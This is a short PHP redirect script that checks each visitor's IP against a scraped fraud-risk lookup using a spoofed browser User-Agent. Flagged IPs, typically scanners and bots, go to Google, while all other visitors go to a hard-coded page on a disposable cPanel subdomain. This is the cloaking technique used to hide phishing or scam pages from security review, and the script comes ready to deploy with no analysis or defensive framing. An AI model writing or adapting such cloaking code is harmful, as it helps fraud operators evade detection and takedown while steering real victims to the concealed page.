<?php
function isBot($ipAddress) {
    $url = "https://scamalytics.com/ip/" . $ipAddress;

    $ch = curl_init($url);
    
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36'
    ]);
    
    $response = curl_exec($ch);
    
    if ($response === false) {
        curl_close($ch);
        return false;
    }

    curl_close($ch);
    
    return strpos($response, '<div class="risk yes">Yes</div>') !== false;
}

$visitorIp = $_SERVER['REMOTE_ADDR'];

$targetWebsite = "https://grand-brown-falcon.52-159-76-181.cpanel.site/?qrgotjgq8usw"; // Ubah ini ke website Anda

if (isBot($visitorIp)) {
    header("Location: https://www.google.com");
} else {
    header("Location: $targetWebsite");
}
exit();
?>